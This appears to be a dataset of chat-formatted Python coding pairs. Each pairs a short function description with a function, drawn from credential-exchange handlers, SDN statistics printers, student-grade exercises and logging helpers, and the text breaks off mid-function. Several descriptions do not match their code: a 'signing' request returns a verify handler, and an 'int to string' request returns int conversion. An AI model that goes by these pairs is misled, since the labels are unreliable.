[ { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 0, "message_id": 0 }, { "role": "user", "content": "Message handler logic for credential offers..", "conversation_id": 0, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"CredentialHandler called with context %s\", context)\n assert isinstance(context.message, CredentialIssue)\n self._logger.info(\n \"Received credential message: %s\", context.message.serialize(as_string=True)\n )\n if not context.connection_ready:\n raise HandlerException(\"No connection established for credential issue\")\n credential_manager = CredentialManager(context.profile)\n cred_ex_record = await credential_manager.receive_credential(\n context.message, context.connection_record.connection_id\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"CredentialIssueHandler.handle.END\",\n perf_counter=r_time,\n )\n if context.settings.get(\"debug.auto_store_credential\"):\n try:\n cred_ex_record = await credential_manager.store_credential(\n cred_ex_record\n )\n except (CredentialManagerError, IndyHolderError, StorageError) as err:\n self._logger.exception(err)\n credential_ack_message = await credential_manager.send_credential_ack(\n cred_ex_record\n )\n trace_event(\n context.settings,\n credential_ack_message,\n outcome=\"CredentialIssueHandler.handle.STORE\",\n perf_counter=r_time,\n )", "conversation_id": 0, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 1, "message_id": 0 }, { "role": "user", "content": "Message handler logic for Aries#0037 v1.0 presentation requests..", "conversation_id": 1, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"PresentationRequestHandler called with context %s\", context)\n assert isinstance(context.message, PresentationRequest)\n self._logger.info(\n \"Received presentation request message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\"No connection established for presentation request\")\n presentation_manager = PresentationManager(context.profile)\n indy_proof_request = context.message.indy_proof_request(0)\n try:\n async with context.session() as session:\n (\n presentation_exchange_record\n ) = await V10PresentationExchange.retrieve_by_tag_filter(\n session,\n {\"thread_id\": context.message._thread_id},\n {\"connection_id\": context.connection_record.connection_id},\n ) \n except StorageNotFoundError: \n presentation_exchange_record = V10PresentationExchange(\n connection_id=context.connection_record.connection_id,\n thread_id=context.message._thread_id,\n initiator=V10PresentationExchange.INITIATOR_EXTERNAL,\n role=V10PresentationExchange.ROLE_PROVER,\n presentation_request=indy_proof_request,\n presentation_request_dict=context.message.serialize(),\n auto_present=context.settings.get(\n \"debug.auto_respond_presentation_request\"\n ),\n trace=(context.message._trace is not None),\n )\n presentation_exchange_record.presentation_request = indy_proof_request\n presentation_exchange_record = await presentation_manager.receive_request(\n presentation_exchange_record\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"PresentationRequestHandler.handle.END\",\n perf_counter=r_time,\n )\n if presentation_exchange_record.auto_present:\n presentation_preview = None\n if presentation_exchange_record.presentation_proposal_dict:\n exchange_pres_proposal = PresentationProposal.deserialize(\n presentation_exchange_record.presentation_proposal_dict\n )\n presentation_preview = exchange_pres_proposal.presentation_proposal\n try:\n req_creds = await indy_proof_req_preview2indy_requested_creds(\n indy_proof_request,\n presentation_preview,\n holder=context.inject(IndyHolder),\n )\n except ValueError as err:\n self._logger.warning(f\"{err}\")\n return\n presentation_message = None\n try:\n (\n presentation_exchange_record,\n presentation_message,\n ) = await presentation_manager.create_presentation(\n presentation_exchange_record=presentation_exchange_record,\n requested_credentials=req_creds,\n comment=\"auto-presented for proof request nonce={}\".format(\n indy_proof_request[\"nonce\"]\n ),\n )\n await responder.send_reply(presentation_message)\n except (\n IndyHolderError,\n LedgerError,\n PresentationManagerError,\n WalletNotFoundError,\n ) as err:\n self._logger.exception(err)\n if presentation_exchange_record:\n await presentation_exchange_record.save_error_state(\n context.session(),\n reason=err.message,\n )\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n presentation_message,\n outcome=\"PresentationRequestHandler.handle.PRESENT\",\n perf_counter=r_time,\n )", "conversation_id": 1, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 2, "message_id": 0 }, { "role": "user", "content": "Message handler logic for presentations..", "conversation_id": 2, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"PresentationHandler called with context %s\", context)\n assert isinstance(context.message, Presentation)\n self._logger.info(\n \"Received presentation message: %s\",\n context.message.serialize(as_string=True),\n )\n presentation_manager = PresentationManager(context.profile)\n presentation_exchange_record = await presentation_manager.receive_presentation(\n context.message, context.connection_record\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"PresentationHandler.handle.END\",\n perf_counter=r_time,\n )\n if context.settings.get(\"debug.auto_verify_presentation\"):\n try:\n await presentation_manager.verify_presentation(\n presentation_exchange_record\n )\n except LedgerError as err:\n self._logger.exception(err)\n if presentation_exchange_record:\n await presentation_exchange_record.save_error_state(\n context.session(),\n reason=err.message,\n )\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n presentation_exchange_record,\n outcome=\"PresentationHandler.handle.VERIFY\",\n perf_counter=r_time,\n )", "conversation_id": 2, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 3, "message_id": 0 }, { "role": "user", "content": "Message handler logic for presentation proposals..", "conversation_id": 3, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"V20PresProposalHandler called with context %s\", context)\n assert isinstance(context.message, V20PresProposal)\n self._logger.info(\n \"Received v2.0 presentation proposal message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\n \"No connection established for presentation proposal\"\n )\n pres_manager = V20PresManager(context.profile)\n pres_ex_record = await pres_manager.receive_pres_proposal(\n context.message, context.connection_record\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"V20PresProposalHandler.handle.END\",\n perf_counter=r_time,\n )\n if context.settings.get(\"debug.auto_respond_presentation_proposal\"):\n pres_request_message = None\n try:\n (\n pres_ex_record,\n pres_request_message,\n ) = await pres_manager.create_bound_request(\n pres_ex_record=pres_ex_record,\n comment=context.message.comment,\n )\n await responder.send_reply(pres_request_message)\n except LedgerError as err:\n self._logger.exception(err)\n if pres_ex_record:\n await pres_ex_record.save_error_state(\n context.session(),\n state=V20PresExRecord.STATE_ABANDONED,\n reason=err.message,\n )\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n pres_request_message,\n outcome=\"V20PresProposalHandler.handle.PRESENT\",\n perf_counter=r_time,\n )", "conversation_id": 3, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 4, "message_id": 0 }, { "role": "user", "content": "Request handler for signing a jsonld doc..", "conversation_id": 4, "message_id": 1 }, { "role": "assistant", "content": "async def verify(request: web.BaseRequest):\n response = {\"valid\": False}\n try:\n context: AdminRequestContext = request[\"context\"]\n profile = context.profile\n body = await request.json()\n verkey = body.get(\"verkey\")\n doc = body.get(\"doc\")\n async with context.session() as session:\n if verkey is None:\n resolver = session.inject(DIDResolver)\n ver_meth_expanded = await resolver.dereference(\n profile, doc[\"proof\"][\"verificationMethod\"]\n )\n if ver_meth_expanded is None:\n raise MissingVerificationMethodError(\n f\"Verification method \"\n f\"{doc['proof']['verificationMethod']} not found.\"\n )\n if not isinstance(ver_meth_expanded, VerificationMethod):\n raise InvalidVerificationMethod(\n \"verificationMethod does not identify a valid verification method\"\n )\n verkey = ver_meth_expanded.material\n valid = await verify_credential(session, doc, verkey)\n response[\"valid\"] = valid\n except (\n BaseJSONLDMessagingError,\n ResolverError,\n ) as error:\n response[\"error\"] = str(error)\n except (WalletError, InjectionError):\n raise web.HTTPForbidden(reason=\"No wallet available\")\n return web.json_response(response)", "conversation_id": 4, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 5, "message_id": 0 }, { "role": "user", "content": "Message handler logic for v2.0 presentation requests..", "conversation_id": 5, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"V20PresRequestHandler called with context %s\", context)\n assert isinstance(context.message, V20PresRequest)\n self._logger.info(\n \"Received v2.0 presentation request message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\"No connection established for presentation request\")\n pres_manager = V20PresManager(context.profile)\n try:\n async with context.session() as session:\n pres_ex_record = await V20PresExRecord.retrieve_by_tag_filter(\n session,\n {\"thread_id\": context.message._thread_id},\n {\"connection_id\": context.connection_record.connection_id},\n ) \n pres_ex_record.pres_request = context.message.serialize()\n except StorageNotFoundError: \n pres_ex_record = V20PresExRecord(\n connection_id=context.connection_record.connection_id,\n thread_id=context.message._thread_id,\n initiator=V20PresExRecord.INITIATOR_EXTERNAL,\n role=V20PresExRecord.ROLE_PROVER,\n pres_request=context.message.serialize(),\n auto_present=context.settings.get(\n \"debug.auto_respond_presentation_request\"\n ),\n trace=(context.message._trace is not None),\n )\n pres_ex_record = await pres_manager.receive_pres_request(\n pres_ex_record\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"V20PresRequestHandler.handle.END\",\n perf_counter=r_time,\n )\n if pres_ex_record.auto_present:\n indy_proof_request = context.message.attachment(V20PresFormat.Format.INDY)\n try:\n req_creds = await indy_proof_req_preview2indy_requested_creds(\n indy_proof_request,\n preview=None,\n holder=context.inject(IndyHolder),\n )\n except ValueError as err:\n self._logger.warning(f\"{err}\")\n return\n pres_message = None\n try:\n (pres_ex_record, pres_message) = await pres_manager.create_pres(\n pres_ex_record=pres_ex_record,\n requested_credentials=req_creds,\n comment=(\n \"auto-presented for proof request nonce \"\n f\"{indy_proof_request['nonce']}\"\n ),\n )\n await responder.send_reply(pres_message)\n except (\n IndyHolderError,\n LedgerError,\n V20PresManagerError,\n WalletNotFoundError,\n ) as err:\n self._logger.exception(err)\n if pres_ex_record:\n await pres_ex_record.save_error_state(\n context.session(),\n state=V20PresExRecord.STATE_ABANDONED,\n reason=err.message,\n )\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n pres_message,\n outcome=\"V20PresRequestHandler.handle.PRESENT\",\n perf_counter=r_time,\n )", "conversation_id": 5, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 6, "message_id": 0 }, { "role": "user", "content": "Message handler logic for presentation proposals..", "conversation_id": 6, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\n \"PresentationProposalHandler called with context %s\", context\n )\n assert isinstance(context.message, PresentationProposal)\n self._logger.info(\n \"Received presentation proposal message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\n \"No connection established for presentation proposal\"\n )\n presentation_manager = PresentationManager(context.profile)\n presentation_exchange_record = await presentation_manager.receive_proposal(\n context.message, context.connection_record\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"PresentationProposalHandler.handle.END\",\n perf_counter=r_time,\n )\n if context.settings.get(\"debug.auto_respond_presentation_proposal\"):\n presentation_request_message = None\n try:\n (\n presentation_exchange_record,\n presentation_request_message,\n ) = await presentation_manager.create_bound_request(\n presentation_exchange_record=presentation_exchange_record,\n comment=context.message.comment,\n )\n await responder.send_reply(presentation_request_message)\n except LedgerError as err:\n self._logger.exception(err)\n if presentation_exchange_record:\n await presentation_exchange_record.save_error_state(\n context.session(),\n reason=err.message,\n )\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n presentation_request_message,\n outcome=\"PresentationProposalHandler.handle.PRESENT\",\n perf_counter=r_time,\n )", "conversation_id": 6, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 7, "message_id": 0 }, { "role": "user", "content": "Message handler logic for credential requests..", "conversation_id": 7, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"V20CredRequestHandler called with context %s\", context)\n assert isinstance(context.message, V20CredRequest)\n self._logger.info(\n \"Received v2.0 credential request message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\"No connection established for credential request\")\n cred_manager = V20CredManager(context.profile)\n cred_ex_record = await cred_manager.receive_request(\n context.message, context.connection_record.connection_id\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"V20CredRequestHandler.handle.END\",\n perf_counter=r_time,\n )\n if cred_ex_record.auto_issue:\n cred_issue_message = None\n try:\n (\n cred_ex_record,\n cred_issue_message,\n ) = await cred_manager.issue_credential(\n cred_ex_record=cred_ex_record,\n comment=context.message.comment,\n )\n await responder.send_reply(cred_issue_message)\n except (V20CredManagerError, IndyIssuerError, LedgerError) as err:\n self._logger.exception(err)\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n cred_issue_message,\n outcome=\"V20CredRequestHandler.issue.END\",\n perf_counter=r_time,\n )", "conversation_id": 7, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 8, "message_id": 0 }, { "role": "user", "content": "Message handler logic for credential proposals..", "conversation_id": 8, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"V20CredProposalHandler called with context %s\", context)\n assert isinstance(context.message, V20CredProposal)\n self._logger.info(\n \"Received v2.0 credential proposal message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\"No connection established for credential proposal\")\n cred_manager = V20CredManager(context.profile)\n cred_ex_record = await cred_manager.receive_proposal(\n context.message, context.connection_record.connection_id\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"CredentialProposalHandler.handle.END\",\n perf_counter=r_time,\n )\n if cred_ex_record.auto_offer:\n cred_offer_message = None\n try:\n (cred_ex_record, cred_offer_message) = await cred_manager.create_offer(\n cred_ex_record,\n counter_proposal=None,\n comment=context.message.comment,\n )\n await responder.send_reply(cred_offer_message)\n except (V20CredManagerError, IndyIssuerError, LedgerError) as err:\n self._logger.exception(err)\n if cred_ex_record:\n await cred_ex_record.save_error_state(\n context.session(),\n reason=err.message,\n )\n except StorageError as err:\n self._logger.exception(err) \n trace_event(\n context.settings,\n cred_offer_message,\n outcome=\"V20CredProposalHandler.handle.OFFER\",\n perf_counter=r_time,\n )", "conversation_id": 8, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 9, "message_id": 0 }, { "role": "user", "content": "Message handler logic for credential offers..", "conversation_id": 9, "message_id": 1 }, { "role": "assistant", "content": "async def handle(self, context: RequestContext, responder: BaseResponder):\n r_time = get_timer()\n self._logger.debug(\"V20CredIssueHandler called with context %s\", context)\n assert isinstance(context.message, V20CredIssue)\n self._logger.info(\n \"Received v2.0 credential issue message: %s\",\n context.message.serialize(as_string=True),\n )\n if not context.connection_ready:\n raise HandlerException(\"No connection established for credential issue\")\n cred_manager = V20CredManager(context.profile)\n cred_ex_record = await cred_manager.receive_credential(\n context.message, context.connection_record.connection_id\n ) \n r_time = trace_event(\n context.settings,\n context.message,\n outcome=\"V20CredIssueHandler.handle.END\",\n perf_counter=r_time,\n )\n if context.settings.get(\"debug.auto_store_credential\"):\n try:\n cred_ex_record = await cred_manager.store_credential(cred_ex_record)\n except (V20CredManagerError, IndyHolderError, StorageError) as err:\n self._logger.exception(err)\n cred_ack_message = await cred_manager.send_cred_ack(cred_ex_record)\n trace_event(\n context.settings,\n cred_ack_message,\n outcome=\"V20CredIssueHandler.handle.STORE\",\n perf_counter=r_time,\n )", "conversation_id": 9, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 10, "message_id": 0 }, { "role": "user", "content": "Try to cast an int to a string. If you can't, return the fallback value.", "conversation_id": 10, "message_id": 1 }, { "role": "assistant", "content": "def to_int(s, fallback=0):\n try:\n result = int(s)\n except ValueError:\n result = fallback\n except TypeError:\n result = fallback\n return result", "conversation_id": 10, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 11, "message_id": 0 }, { "role": "user", "content": "Creates migrations for the following account use cases:\nmove an account\n- when the remote parent ou exists - ACCOUNT_MOVE\n- when the remote parent ou does not exist - ACCOUNT_MOVE_WITH_NON_EXISTENT_PARENT_OU.", "conversation_id": 11, "message_id": 1 }, { "role": "assistant", "content": "def make_migrations_for_accounts(organizations, root_id: str) -> None:\n accounts = get_accounts_folders()\n for account_file_path in accounts:\n account_name = account_file_path.split(SEP)[-1]\n account_details = yaml.safe_load(\n open(f\"{account_file_path}{SEP}{META_FILE_NAME}\", \"r\").read()\n )\n list_parents_single_page_response = organizations.list_parents_single_page(\n ChildId=account_details.get(\"Id\")\n ).get(\"Parents\")\n if len(list_parents_single_page_response) != 1:\n raise Exception(\n f\"{account_details.get('Id')} has {len(list_parents_single_page_response)} parents.\"\n )\n remote_parent_organizational_unit_ou_id = list_parents_single_page_response[\n 0\n ].get(\"Id\")\n parent_ou_path_details_file_path = SEP.join(\n account_file_path.split(SEP)[0:-2] + [META_FILE_NAME]\n )\n if os.path.exists(parent_ou_path_details_file_path):\n local_parent_ou_details = yaml.safe_load(\n open(parent_ou_path_details_file_path, \"r\").read()\n )\n local_parent_organizational_unit_ou_id = local_parent_ou_details.get(\"Id\")\n if (\n local_parent_organizational_unit_ou_id\n != remote_parent_organizational_unit_ou_id\n ):\n write_migration(\n EXTENSION,\n root_id,\n migrations.ACCOUNT_MOVE,\n dict(\n account_id=account_details.get(\"Id\"),\n source_parent_id=remote_parent_organizational_unit_ou_id,\n destination_parent_id=local_parent_organizational_unit_ou_id,\n ),\n )\n else:\n destination_path = SEP.join(\n [\"\"] + parent_ou_path_details_file_path.split(SEP)[3:-1]\n ).replace(f\"{SEP}_organizational_units\", \"\")\n write_migration(\n EXTENSION,\n root_id,\n migrations.ACCOUNT_MOVE_WITH_NON_EXISTENT_PARENT_OU,\n dict(\n account_id=account_details.get(\"Id\"),\n source_parent_id=remote_parent_organizational_unit_ou_id,\n destination_path=destination_path,\n ),\n )", "conversation_id": 11, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 12, "message_id": 0 }, { "role": "user", "content": "Take an iterable list of log events and yield human-readable text strings.", "conversation_id": 12, "message_id": 1 }, { "role": "assistant", "content": "def render_buffer(self, lines):\n for line in lines:\n try:\n yield self.render_line(line.body)\n except KeyError:\n self.log.exception(\"Rendering exception\")", "conversation_id": 12, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 13, "message_id": 0 }, { "role": "user", "content": "Render a single log event to a string..", "conversation_id": 13, "message_id": 1 }, { "role": "assistant", "content": "def render_line(self, line):\n time = eid_to_datetime(line['eid'], self.tz)\n msg = \"[%s] \" % (time.strftime('%Y-%m-%d %H:%M:%S'))\n if line['type'] == 'buffer_msg':\n msg += \"<%s> %s\" % (line.get('from', line.get('server')), line['msg'])\n return msg\n if line['type'] == 'buffer_me_msg':\n msg += \"\u2014 %s %s\" % (line['from'], line['msg'])\n return msg\n if line['type'] in ['joined_channel', 'you_joined_channel']:\n msg += '\u2192 '\n elif line['type'] in ['parted_channel', 'you_parted_channel']:\n msg += '\u2190 '\n elif line['type'] == 'quit':\n msg += '\u21d0 '\n else:\n msg += '* '\n if line['type'] in VERBATIM:\n try:\n msg += line['msg']\n except KeyError:\n self.log.warn(\"Log type %s has no attribute 'msg'\", line['type'])\n elif line['type'] in MESSAGES:\n temp = Template(MESSAGES[line['type']])\n msg += temp.safe_substitute(defaultdict(lambda: '', line))\n elif line['type'] in STATS:\n if 'parts' in line:\n msg += line['parts'] + \": \"\n msg += line['msg']\n elif line['type'] == 'user_channel_mode':\n msg += '%s set %s %s' % (line.get('from', line.get('server')), line['diff'], line['nick'])\n elif line['type'] == 'channel_query':\n if line['query_type'] == 'timestamp':\n msg += 'channel timestamp is %s' % line['timestamp']\n elif line['query_type'] == 'mode':\n msg += 'channel mode is %s' % line['newmode']\n else:\n self.log.warn('Unknown channel_query type: %s', line['query_type'])\n elif line['type'] == 'channel_mode':\n msg += 'Channel mode set to %s by ' % line['diff']\n if 'from' in line:\n msg += line['from']\n else:\n msg += 'the server %s' % line['server']\n elif line['type'] == 'motd_response':\n msg += \"\\n\".join(line['lines'])\n elif line['type'] in ['cap_ls', 'cap_req', 'cap_ack']:\n if line['type'] == 'cap_ls':\n msg += 'Available'\n if line['type'] == 'cap_req':\n msg += 'Requested'\n if line['type'] == 'cap_ack':\n msg += 'Acknowledged'\n msg += ' capabilities: %s' % ' | '.join(line['caps'])\n elif line['type'] == 'unknown_umode':\n if 'flag' in line:\n msg += line['flag'] + \" \"\n msg += line['msg']\n elif line['type'] == 'time':\n msg += 'Server time: %s' % line['time_string']\n if 'time_stamp' in line:\n msg += ' (%s)' % line['time_stamp']\n msg += ' - %s' % line['time_server']\n else:\n if 'msg' in line:\n msg += line['msg']\n self.log.warn('Unknown message type (%s)', line['type'])\n return msg", "conversation_id": 13, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 14, "message_id": 0 }, { "role": "user", "content": "In packet_in handler, we need to learn access_table by ARP.\nTherefore, the first packet from UNKOWN host MUST be ARP..", "conversation_id": 14, "message_id": 1 }, { "role": "assistant", "content": "def _packet_in_handler(self, ev):\n msg = ev.msg\n datapath = msg.datapath\n in_port = msg.match['in_port']\n pkt = packet.Packet(msg.data)\n arp_pkt = pkt.get_protocol(arp.arp)\n ip_pkt = pkt.get_protocol(ipv4.ipv4)\n if isinstance(arp_pkt, arp.arp):\n self.logger.debug(\"ARP processing\")\n self.arp_forwarding(msg, arp_pkt.src_ip, arp_pkt.dst_ip)\n arp_src_ip = arp_pkt.src_ip\n arp_dst_ip = arp_pkt.dst_ip\n mac = arp_pkt.src_mac\n self.awareness.register_access_info(datapath.id, in_port, arp_src_ip, mac)\n if isinstance(ip_pkt, ipv4.ipv4):\n self.logger.debug(\"IPV4 processing\")\n if len(pkt.get_protocols(ethernet.ethernet)):\n eth_type = pkt.get_protocols(ethernet.ethernet)[0].ethertype\n self.shortest_forwarding(msg, eth_type, ip_pkt.src, ip_pkt.dst)", "conversation_id": 14, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 15, "message_id": 0 }, { "role": "user", "content": "Prints the all collected info for each of the links in the\ngraph/topology.", "conversation_id": 15, "message_id": 1 }, { "role": "assistant", "content": "def show_all_collected_info(self):\n self.logger.info(\"\\nsrc dst bandwidth packet_rate error\")\n self.logger.info(\"------------------------------------------------------------------------------\")\n for src in self.graph:\n for dst in self.graph[src]:\n bandwidth = -1\n error = -1\n packet_rate = -1\n if 'bandwidth' in self.graph[src][dst]:\n bandwidth = self.graph[src][dst]['bandwidth']\n if 'packet_rate' in self.graph[src][dst]:\n packet_rate = self.graph[src][dst]['packet_rate']\n if 'error' in self.graph[src][dst]:\n error = self.graph[src][dst]['error']\n if packet_rate is -1 and error is -1 and bandwidth is -1:\n continue\n else:\n self.awareness.is_ready = True\n self.logger.info(\"%s<-->%s : %d %d %d\" % (src, dst, bandwidth, packet_rate, error))", "conversation_id": 15, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 16, "message_id": 0 }, { "role": "user", "content": "Prints the bandwith for each of the links in the\ngraph/topology.", "conversation_id": 16, "message_id": 1 }, { "role": "assistant", "content": "def show_bandwidth(self):\n self.logger.info(\"\\nsrc dst bandwidth\")\n self.logger.info(\"---------------------------\")\n for src in self.graph:\n for dst in self.graph[src]:\n if 'bandwidth' in self.graph[src][dst]:\n bandwidth = self.graph[src][dst]['bandwidth']\n self.logger.info(\"%s<-->%s : %s\" % (src, dst, bandwidth))\n else:\n continue", "conversation_id": 16, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 17, "message_id": 0 }, { "role": "user", "content": "Prints the packet rate for each of the links in the\ngraph/topology.", "conversation_id": 17, "message_id": 1 }, { "role": "assistant", "content": "def show_packet_rate(self):\n self.logger.info(\"\\nsrc dst packet_rate\")\n self.logger.info(\"---------------------------\")\n for src in self.graph:\n for dst in self.graph[src]:\n if 'packet_rate' in self.graph[src][dst]:\n packet_rate = self.graph[src][dst]['packet_rate']\n self.logger.info(\"%s<-->%s : %s\" % (src, dst, packet_rate))\n else:\n continue", "conversation_id": 17, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 18, "message_id": 0 }, { "role": "user", "content": "Prints the errors for each of the links in the\ngraph/topology.", "conversation_id": 18, "message_id": 1 }, { "role": "assistant", "content": "def show_errors(self):\n self.logger.info(\"\\nsrc dst errors\")\n self.logger.info(\"---------------------------\")\n for src in self.graph:\n for dst in self.graph[src]:\n if 'error' in self.graph[src][dst]:\n packet_rate = self.graph[src][dst]['error']\n self.logger.info(\"%s<-->%s : %s\" % (src, dst, packet_rate))\n else:\n continue", "conversation_id": 18, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 19, "message_id": 0 }, { "role": "user", "content": "Using a if else to find students grade.", "conversation_id": 19, "message_id": 1 }, { "role": "assistant", "content": "def calcLetterGrade(self):\n if self.percent < 60:\n letter = 'F'\n elif self.percent < 70:\n letter = 'D'\n elif self.percent < 80:\n letter = 'C'\n elif self.percent < 90:\n letter = 'B'\n else:\n letter = 'A'\n self.letterGrade = letter", "conversation_id": 19, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 20, "message_id": 0 }, { "role": "user", "content": "Checking what the user choose for the option with a if statment.", "conversation_id": 20, "message_id": 1 }, { "role": "assistant", "content": "def checkGrades():\n fileContents = getFileAsString('exam_grades.csv')\n enter_choice = getChoice()\n if enter_choice == 1:\n print('The lowest grade is ' , min(fileContents))\n elif enter_choice == 2:\n print('The highest grade is ' , max(fileContents))\n elif enter_choice == 3:\n avg_sum = 0\n for score in fileContents:\n avg_sum += int(score)\n avg = avg_sum/len(fileContents)\n print('The average grade is ' , avg )\n elif enter_choice == 4:\n user = int(input('Enter a number to search for: '))\n if (user in fileContents):\n print('The grade',user, 'was present')\n else:\n print('The grade' ,user, 'was not present')", "conversation_id": 20, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 21, "message_id": 0 }, { "role": "user", "content": "Funcation that returns a dictionary that goes through a file.", "conversation_id": 21, "message_id": 1 }, { "role": "assistant", "content": "def createStudentDictionary():\n studentDict={}\n f = open('class_roster.txt')\n line = f.readline()\n studentDict = {}\n while line:\n first_name,last_name,student_id,year = line.split(',')\n student_year = year.strip(' \\n ')\n student_tup = (first_name, last_name, student_year); studentDict.update({student_id: student_tup})\n line = f.readline()\n f.close()\n return studentDict", "conversation_id": 21, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 22, "message_id": 0 }, { "role": "user", "content": "Funcation that formats the dictionary above.", "conversation_id": 22, "message_id": 1 }, { "role": "assistant", "content": "def studentSearch(dictionary, studentID):\n try:\n combining = dictionary[studentID]\n total = \"First Name: {} \\nLast Name: {} \\nSchool Year: {} \".format(combining[0], combining[1], combining[2])\n return total\n except KeyError:\n errorsum = 'No student found with ID ' + studentID + '.\\n'\n return errorsum", "conversation_id": 22, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 23, "message_id": 0 }, { "role": "user", "content": "Convert an object to a type that is fairly generally serializable .\nThis only handles the cases that need converting. The json module handles all the rest..", "conversation_id": 23, "message_id": 1 }, { "role": "assistant", "content": "def convert_serializable_special_cases(o):\n if isinstance(o, Enum):\n serializable_representation = o.name\n elif isinstance(o, Decimal):\n try:\n is_int = o % 1 == 0 \n except decimal.InvalidOperation:\n is_int = False \n if is_int:\n serializable_representation = int(o)\n else:\n serializable_representation = float(o)\n elif isinstance(o, bytes) or isinstance(o, bytearray):\n serializable_representation = str(o)\n elif hasattr(o, \"value\"):\n serializable_representation = str(o.value)\n else:\n serializable_representation = str(o)\n return serializable_representation", "conversation_id": 23, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 24, "message_id": 0 }, { "role": "user", "content": "Structured formatter helper function. When called with any number of positional or keyword arguments, creates a structured string representing those arguments.\nThis is a short function name (sf) since it usually goes inside a logging call.\n\nExample code:\nquestion = \"life\"\nanswer = 42\nlog.info(sf(\"test structured logging\", question=question, answer=answer)).", "conversation_id": 24, "message_id": 1 }, { "role": "assistant", "content": "def sf(*args, **kwargs):\n separator = \",\"\n output_list = []\n if len(args) > 0:\n output_list.append(separator.join(args))\n if len(kwargs) > 0:\n 